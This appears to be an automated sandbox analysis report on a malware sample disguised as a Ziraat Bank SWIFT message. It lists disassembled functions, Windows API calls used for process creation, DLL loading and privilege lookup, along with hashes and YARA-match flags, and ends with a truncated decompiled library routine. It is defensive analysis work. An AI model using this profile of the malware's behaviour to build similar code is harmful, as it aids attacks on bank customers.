                                                                        • Instruction Fuzzy Hash: 6590027132118802D21061A984047060005A7D1641F51C525A1814598DC6D5899172A2
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B9660 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: InitializeThunk
                                                                        • String ID:
                                                                        • API String ID: 2994545307-0
                                                                        • Opcode ID: 0d2d97beafc764534caaabc059e638858d6301bbb992af71cd92b107544b440b
                                                                        • Instruction ID: baac4e165016529ca55aa6bbc03c3de89a616a256042a8a163d680fda51b9a69
                                                                        • Opcode Fuzzy Hash: 0d2d97beafc764534caaabc059e638858d6301bbb992af71cd92b107544b440b
                                                                        • Instruction Fuzzy Hash: 6F90027121104C02D28071A9440464A0005A7D1741F91C129A1015694DCA558B5977E1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B96E0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: InitializeThunk
                                                                        • String ID:
                                                                        • API String ID: 2994545307-0
                                                                        • Opcode ID: eaf23bb47b9eb1acf2b48262833ef5d396de83560af242671d82dccec2d697a3
                                                                        • Instruction ID: 48332a24bb1ae2ec989c17a358fe99daa9feb469d2e5658e8cac2764106cf975
                                                                        • Opcode Fuzzy Hash: eaf23bb47b9eb1acf2b48262833ef5d396de83560af242671d82dccec2d697a3
                                                                        • Instruction Fuzzy Hash: B39002712110CC02D21061A9840474A0005A7D0741F55C525A5414698DC6D5899172A1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0040F6A7 Relevance: 1.6, APIs: 1, Instructions: 75COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 377 40f6a7-40f6fd call 41fa77 * 3 call 41e1f7 386 40f706-40f71b SetUserObjectSecurity 377->386 387 40f6ff-40f705 377->387 386->387 388 40f71d-40f730 call 41e017 386->388 390 40f735-40f745 388->390
                                                                        APIs
                                                                          • Part of subcall function 0041E1F7: CreateProcessInternalW.KERNELBASE(?,?,?,00000010,?,00000044,?,?,?,00000044,?,00000010,?,?,?,?), ref: 0041E24B
                                                                        • SetUserObjectSecurity.USER32 ref: 0040F711
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_401000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID: CreateInternalObjectProcessSecurityUser
                                                                        • String ID:
                                                                        • API String ID: 85020757-0
                                                                        • Opcode ID: 11c5d34e184d03058db132d98e201f0aadd07480a59d5cd3feb8a9435e14f8dd
                                                                        • Instruction ID: f12a93e73b376680530a62f7efb55de25dd1864fdf8434b9b3a2f2ad14fefb65
                                                                        • Opcode Fuzzy Hash: 11c5d34e184d03058db132d98e201f0aadd07480a59d5cd3feb8a9435e14f8dd
                                                                        • Instruction Fuzzy Hash: 14118A7138020577F7209A569C43FAB375C9F84B54F244029FF08AE2C1D6B9B85546B8
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 00408D77 Relevance: 1.6, APIs: 1, Instructions: 55threadwindowCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 391 408d77-408dc1 call 41fac7 call 4205b7 call 40c307 call 418a77 400 408dc3-408dd5 PostThreadMessageW 391->400 401 408df5-408df9 391->401 402 408df4 400->402 403 408dd7-408df1 call 40ba67 400->403 402->401 403->402
                                                                        APIs
                                                                        • PostThreadMessageW.USER32(0000000D,00000111,00000000,00000000,?), ref: 00408DD1
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_401000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID: MessagePostThread
                                                                        • String ID:
                                                                        • API String ID: 1836367815-0
                                                                        • Opcode ID: c4d16ae37389ef09eac909d5272846408838fe98483ecd75000bda51f3cfaadd
                                                                        • Instruction ID: 9b2f64ce684f93b502d75ec29258fbde9be614fb24098ec383e8a7769ae76d88
                                                                        • Opcode Fuzzy Hash: c4d16ae37389ef09eac909d5272846408838fe98483ecd75000bda51f3cfaadd
                                                                        • Instruction Fuzzy Hash: CA018831A4022877E720A6959C43FFE766C9F40B55F04412EFF04BA1C1EAA8690547E9
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0041E0D2 Relevance: 1.6, APIs: 1, Instructions: 51memoryCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 406 41e0d2-41e0d4 407 41e0d6-41e0ee call 41eae7 406->407 408 41e149-41e15e call 41eae7 406->408 411 41e0f3-41e108 call 12b96e0 407->411 412 41e163-41e178 RtlAllocateHeap 408->412 413 41e10a-41e10c 411->413
                                                                        APIs
                                                                        • RtlAllocateHeap.NTDLL(0041812D,?,004188D4,004188D4,?,0041812D,?,?,?,?,?,00000000,00000005,00000206), ref: 0041E174
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_401000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID: AllocateHeap
                                                                        • String ID:
                                                                        • API String ID: 1279760036-0
                                                                        • Opcode ID: f4d03e2e8fa3cdb09a35f5c6d81dbe72b2be825d5730e47b6810244a24905ff7
                                                                        • Instruction ID: b924fb1ca45e438c3933470b716f091d31ad4f393448f93eda3ee240558497c0
                                                                        • Opcode Fuzzy Hash: f4d03e2e8fa3cdb09a35f5c6d81dbe72b2be825d5730e47b6810244a24905ff7
                                                                        • Instruction Fuzzy Hash: DC0108B5200204AFDB14DF9ADC85ED73BA9AF88754F118559BE099B342C634E910CBB4
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0040C307 Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 429 40c307-40c323 430 40c32b-40c330 429->430 431 40c326 call 420807 429->431 432 40c332-40c335 430->432 433 40c336-40c344 call 420c27 430->433 431->430 436 40c354-40c365 call 41f087 433->436 437 40c346-40c351 call 420ea7 433->437 442 40c367-40c37b LdrLoadDll 436->442 443 40c37e-40c381 436->443 437->436 442->443
                                                                        APIs
                                                                        • LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0040C379
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_401000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID: Load
                                                                        • String ID:
                                                                        • API String ID: 2234796835-0
                                                                        • Opcode ID: ca96a5e8033b6ad7c61fa57df96aefaf7a797af34e398c22907a0c48103412d1
                                                                        • Instruction ID: 1b99eda0b8fa07d99fc43174098eccb2830ca29732bffb80514493b27d588fe9
                                                                        • Opcode Fuzzy Hash: ca96a5e8033b6ad7c61fa57df96aefaf7a797af34e398c22907a0c48103412d1
                                                                        • Instruction Fuzzy Hash: 9A0100B5E40109ABDB10DBA5DC82F9EB7B89F54304F0082A5A908A7281F635EB598795
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0041E1F4 Relevance: 1.5, APIs: 1, Instructions: 42processCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 444 41e1f4-41e211 call 41eae7 446 41e216-41e24f CreateProcessInternalW 444->446
                                                                        APIs
                                                                        • CreateProcessInternalW.KERNELBASE(?,?,?,00000010,?,00000044,?,?,?,00000044,?,00000010,?,?,?,?), ref: 0041E24B
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_401000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID: CreateInternalProcess
                                                                        • String ID:
                                                                        • API String ID: 2186235152-0
                                                                        • Opcode ID: 27dc4ca941d2bbf089fe10886adb5bb692b94d3431c30688623d08165c348c1f
                                                                        • Instruction ID: 989c02b51965d40d1b22995f13ced7b948744189de98e70c57bba92a88793339
                                                                        • Opcode Fuzzy Hash: 27dc4ca941d2bbf089fe10886adb5bb692b94d3431c30688623d08165c348c1f
                                                                        • Instruction Fuzzy Hash: 1E01AFB2204108AFCB58CF99DC80EEB37AAAF8C354F118258BA0DD7240D634E851CBA0
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0041E1F7 Relevance: 1.5, APIs: 1, Instructions: 42processCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 447 41e1f7-41e210 448 41e216-41e24f CreateProcessInternalW 447->448 449 41e211 call 41eae7 447->449 449->448
                                                                        APIs
                                                                        • CreateProcessInternalW.KERNELBASE(?,?,?,00000010,?,00000044,?,?,?,00000044,?,00000010,?,?,?,?), ref: 0041E24B
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_401000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID: CreateInternalProcess
                                                                        • String ID:
                                                                        • API String ID: 2186235152-0
                                                                        • Opcode ID: bec94458cd42806910d4d3acd5553c417a3fa2ad3fa69b939821d7d23a8d2164
                                                                        • Instruction ID: 6aed677feb4175018383c999d2dbae950803ee0690377ebcac399b0715fb56fc
                                                                        • Opcode Fuzzy Hash: bec94458cd42806910d4d3acd5553c417a3fa2ad3fa69b939821d7d23a8d2164
                                                                        • Instruction Fuzzy Hash: BD01B2B2210108BFCB58DF89DC80EEB77ADAF8C754F118258BA0D97241C634E851CBA4
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0041E17A Relevance: 1.5, APIs: 1, Instructions: 28memoryCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • RtlFreeHeap.NTDLL(00000060,00000005,00000000,00000000,00000005,00000060,00000000,00000000,?,?,00000000,00000206,?), ref: 0041E1B4
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_401000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID: FreeHeap
                                                                        • String ID:
                                                                        • API String ID: 3298025750-0
                                                                        • Opcode ID: a0e013fa50e8d9fc093a3aecfd43b3b7aae7825d69be7aea62f1adcc3f08fb8f
                                                                        • Instruction ID: 60d878e21cb03b8b4e7ef6500c3a833aac3398b8826212f44355319d098c5975
                                                                        • Opcode Fuzzy Hash: a0e013fa50e8d9fc093a3aecfd43b3b7aae7825d69be7aea62f1adcc3f08fb8f
                                                                        • Instruction Fuzzy Hash: 20E06DB2300204AFD724EF85CC45ED77768EF58754F114549F9095B242D535E905CBB0
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0041E2E2 Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • LookupPrivilegeValueW.ADVAPI32(00000000,?,0040F379,0040F379,?,00000000,?,?), ref: 0041E317
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_401000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID: LookupPrivilegeValue
                                                                        • String ID:
                                                                        • API String ID: 3899507212-0
                                                                        • Opcode ID: 79bacbbed1b8f302d722fb161ce7a73c74adf4e37c015add5f7b4f725dd1fc13
                                                                        • Instruction ID: abaf56558fe3f78932c8bb14cc674d3d4ebe35a1a0169092bb9fe73716b5b3ad
                                                                        • Opcode Fuzzy Hash: 79bacbbed1b8f302d722fb161ce7a73c74adf4e37c015add5f7b4f725dd1fc13
                                                                        • Instruction Fuzzy Hash: 5AE092B53002046FDB10DF65CC41EE73BA9EF48254F144168FD0DA7241C235A801CBA0
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0041E147 Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • RtlAllocateHeap.NTDLL(0041812D,?,004188D4,004188D4,?,0041812D,?,?,?,?,?,00000000,00000005,00000206), ref: 0041E174
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_401000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID: AllocateHeap
                                                                        • String ID:
                                                                        • API String ID: 1279760036-0
                                                                        • Opcode ID: 71d30878ffc0fd6371cee718eb9878eb3463dfa7e001799ef66c66478ee65a27
                                                                        • Instruction ID: a27e3798eb6d3246d74444c3109f3ac0f6766777780a7a99e869c35af082081b
                                                                        • Opcode Fuzzy Hash: 71d30878ffc0fd6371cee718eb9878eb3463dfa7e001799ef66c66478ee65a27
                                                                        • Instruction Fuzzy Hash: DFE046B5200208ABDB18EF9ADC45EE73BACEF88754F018159FE095B242C630F910CBB0
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0041E187 Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • RtlFreeHeap.NTDLL(00000060,00000005,00000000,00000000,00000005,00000060,00000000,00000000,?,?,00000000,00000206,?), ref: 0041E1B4
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_401000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID: FreeHeap
                                                                        • String ID:
                                                                        • API String ID: 3298025750-0
                                                                        • Opcode ID: 7383604f3fe5c795b9236c36b71377a732ea8f0b598dae172b24566b996ec6fa
                                                                        • Instruction ID: 09a980ee748928bc40079a8551e52fc5248c8fae99ea804903dddf60fe5ef7ae
                                                                        • Opcode Fuzzy Hash: 7383604f3fe5c795b9236c36b71377a732ea8f0b598dae172b24566b996ec6fa
                                                                        • Instruction Fuzzy Hash: DFE04FB52002046BDB14DF49DC49ED737ACEF88754F014155FD0957241C530F914CBB0
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0041E2E7 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • LookupPrivilegeValueW.ADVAPI32(00000000,?,0040F379,0040F379,?,00000000,?,?), ref: 0041E317
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_401000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID: LookupPrivilegeValue
                                                                        • String ID:
                                                                        • API String ID: 3899507212-0
                                                                        • Opcode ID: 6915fa93d7270e13bfd703e99c47af289f1ee2615e020f739a89d4d612532f61
                                                                        • Instruction ID: 2f9c67764ac3a4ff0dc5b48f72979064fdc544eff6d56503816a6de016206cb0
                                                                        • Opcode Fuzzy Hash: 6915fa93d7270e13bfd703e99c47af289f1ee2615e020f739a89d4d612532f61
                                                                        • Instruction Fuzzy Hash: 76E01AB52002086BDB10DF49CC45EE737ADAF88654F118159BE0957241C634E810CAB5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0040F527 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GetUserGeoID.KERNELBASE(00000010), ref: 0040F551
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_401000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID: User
                                                                        • String ID:
                                                                        • API String ID: 765557111-0
                                                                        • Opcode ID: b676edfe2508a8d70ab7f268ccbfcaedfa520e2aec845d585ee564f1f09c2cf8
                                                                        • Instruction ID: 3a1d2ef0c60c757c0f72a0a3003fad6eb55e58fc730c6d937a84e79b7af20ed7
                                                                        • Opcode Fuzzy Hash: b676edfe2508a8d70ab7f268ccbfcaedfa520e2aec845d585ee564f1f09c2cf8
                                                                        • Instruction Fuzzy Hash: 1FE0C23338030427F62095A98C42FB6328E5B84B04F048475F908E72C1D5A9E5805014
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0041E1C7 Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ExitProcess.KERNEL32(?,00000000,000000AB,?,?,00000001), ref: 0041E1EF
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_401000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID: ExitProcess
                                                                        • String ID:
                                                                        • API String ID: 621844428-0
                                                                        • Opcode ID: 0c6232b6cdbf6635767260dc15682acedaa1cab9f782f361699728f7b20cdda3
                                                                        • Instruction ID: 54effc0fb69a626f167bd0d9dd5953a702826966514bf6dcbb5921d7a0768bbd
                                                                        • Opcode Fuzzy Hash: 0c6232b6cdbf6635767260dc15682acedaa1cab9f782f361699728f7b20cdda3
                                                                        • Instruction Fuzzy Hash: 15D012757002187BDA20DB99CC45FD7779CEF45794F154065BA4D5B641C534BA00C7E1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0041E1BA Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ExitProcess.KERNEL32(?,00000000,000000AB,?,?,00000001), ref: 0041E1EF
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_401000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID: ExitProcess
                                                                        • String ID:
                                                                        • API String ID: 621844428-0
                                                                        • Opcode ID: f854f4f61f11fcab0a62c53d2591c5e2f8f33e8ed5b09e9f8bd52f592797aa09
                                                                        • Instruction ID: e5d4f5baa23f44aa9ab1b3e73555c53bc8b987132d5c503df4eb93f1382bc8c2
                                                                        • Opcode Fuzzy Hash: f854f4f61f11fcab0a62c53d2591c5e2f8f33e8ed5b09e9f8bd52f592797aa09
                                                                        • Instruction Fuzzy Hash: 56E0CD741056806EC701DB348C44EC37FA4AF47360F15459EF9D55B202C5346210C751
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B967A Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: InitializeThunk
                                                                        • String ID:
                                                                        • API String ID: 2994545307-0
                                                                        • Opcode ID: 51307ebe8dd8b29dda14c9c1db6c6fd9f50b7a987c9d7a9d1191f9ac02e28046
                                                                        • Instruction ID: 022691083e3ce8eb8f3db7cbf1cf4487226cfda20b5dc0ca925c18c5ab37bcf3
                                                                        • Opcode Fuzzy Hash: 51307ebe8dd8b29dda14c9c1db6c6fd9f50b7a987c9d7a9d1191f9ac02e28046
                                                                        • Instruction Fuzzy Hash: EFB09BB19114C5C9DB11D7B44648717790077D0745F26C166D3020681B4778D1D1F6F5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Non-executed Functions

                                                                        Function 0132B260 Relevance: 37.8, Strings: 30, Instructions: 262COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        Strings
                                                                        • This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked., xrefs: 0132B305
                                                                        • The instruction at %p referenced memory at %p., xrefs: 0132B432
                                                                        • This means the machine is out of memory. Use !vm to see where all the memory is being used., xrefs: 0132B484
                                                                        • *** enter .exr %p for the exception record, xrefs: 0132B4F1
                                                                        • This means that the I/O device reported an I/O error. Check your hardware., xrefs: 0132B476
                                                                        • Go determine why that thread has not released the critical section., xrefs: 0132B3C5
                                                                        • write to, xrefs: 0132B4A6
                                                                        • *** An Access Violation occurred in %ws:%s, xrefs: 0132B48F
                                                                        • a NULL pointer, xrefs: 0132B4E0
                                                                        • *** Inpage error in %ws:%s, xrefs: 0132B418
                                                                        • *** Critical Section Timeout (%p) in %ws:%s, xrefs: 0132B39B
                                                                        • The instruction at %p tried to %s , xrefs: 0132B4B6
                                                                        • *** A stack buffer overrun occurred in %ws:%s, xrefs: 0132B2F3
                                                                        • <unknown>, xrefs: 0132B27E, 0132B2D1, 0132B350, 0132B399, 0132B417, 0132B48E
                                                                        • an invalid address, %p, xrefs: 0132B4CF
                                                                        • *** Resource timeout (%p) in %ws:%s, xrefs: 0132B352
                                                                        • If this bug ends up in the shipping product, it could be a severe security hole., xrefs: 0132B314
                                                                        • *** enter .cxr %p for the context, xrefs: 0132B50D
                                                                        • *** Restarting wait on critsec or resource at %p (in %ws:%s), xrefs: 0132B53F
                                                                        • This failed because of error %Ix., xrefs: 0132B446
                                                                        • *** Unhandled exception 0x%08lx, hit in %ws:%s, xrefs: 0132B2DC
                                                                        • The resource is owned shared by %d threads, xrefs: 0132B37E
                                                                        • The critical section is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 0132B3D6
                                                                        • The resource is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 0132B38F
                                                                        • The stack trace should show the guilty function (the function directly above __report_gsfailure)., xrefs: 0132B323
                                                                        • This means the data could not be read, typically because of a bad block on the disk. Check your hardware., xrefs: 0132B47D
                                                                        • read from, xrefs: 0132B4AD, 0132B4B2
                                                                        • The resource is owned exclusively by thread %p, xrefs: 0132B374
                                                                        • The critical section is owned by thread %p., xrefs: 0132B3B9
                                                                        • *** then kb to get the faulting stack, xrefs: 0132B51C
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: *** A stack buffer overrun occurred in %ws:%s$ *** An Access Violation occurred in %ws:%s$ *** Critical Section Timeout (%p) in %ws:%s$ *** Inpage error in %ws:%s$ *** Resource timeout (%p) in %ws:%s$ *** Unhandled exception 0x%08lx, hit in %ws:%s$ *** enter .cxr %p for the context$ *** Restarting wait on critsec or resource at %p (in %ws:%s)$ *** enter .exr %p for the exception record$ *** then kb to get the faulting stack$<unknown>$Go determine why that thread has not released the critical section.$If this bug ends up in the shipping product, it could be a severe security hole.$The critical section is owned by thread %p.$The critical section is unowned. This usually implies a slow-moving machine due to memory pressure$The instruction at %p referenced memory at %p.$The instruction at %p tried to %s $The resource is owned exclusively by thread %p$The resource is owned shared by %d threads$The resource is unowned. This usually implies a slow-moving machine due to memory pressure$The stack trace should show the guilty function (the function directly above __report_gsfailure).$This failed because of error %Ix.$This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.$This means that the I/O device reported an I/O error. Check your hardware.$This means the data could not be read, typically because of a bad block on the disk. Check your hardware.$This means the machine is out of memory. Use !vm to see where all the memory is being used.$a NULL pointer$an invalid address, %p$read from$write to
                                                                        • API String ID: 0-108210295
                                                                        • Opcode ID: 917156dfaa602567149fc9d704f78ce88f7d4d4da5b327bac6374fb468a5cbd9
                                                                        • Instruction ID: 6159a937691ce3e4f9edeb995cf7e82039c2b4c061424772e33bed49cf979d1c
                                                                        • Opcode Fuzzy Hash: 917156dfaa602567149fc9d704f78ce88f7d4d4da5b327bac6374fb468a5cbd9
                                                                        • Instruction Fuzzy Hash: C5813735A10228FFDB22BE4ECC99D7B7F79EF56A59F010048F5042B196D2618481EBB2
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01331C06 Relevance: 31.4, Strings: 25, Instructions: 195COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 44%
                                                                        			E01331C06() {
				signed int _t27;
				char* _t104;
				char* _t105;
				intOrPtr _t113;
				intOrPtr _t115;
				intOrPtr _t117;
				intOrPtr _t119;
				intOrPtr _t120;

				_t105 = 0x12548a4;
				_t104 = "HEAP: ";
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E0127B150();
				} else {
					E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push( *0x136589c);
				E0127B150("Heap error detected at %p (heap handle %p)\n",  *0x13658a0);
				_t27 =  *0x1365898; // 0x0
				if(_t27 <= 0xf) {
					switch( *((intOrPtr*)(_t27 * 4 +  &M01331E96))) {
						case 0:
							_t105 = "heap_failure_internal";
							goto L21;
						case 1:
							goto L21;
						case 2:
							goto L21;
						case 3:
							goto L21;
						case 4:
							goto L21;
						case 5:
							goto L21;
						case 6:
							goto L21;
						case 7:
							goto L21;
						case 8:
							goto L21;
						case 9:
							goto L21;
						case 0xa:
							goto L21;
						case 0xb:
							goto L21;
						case 0xc:
							goto L21;
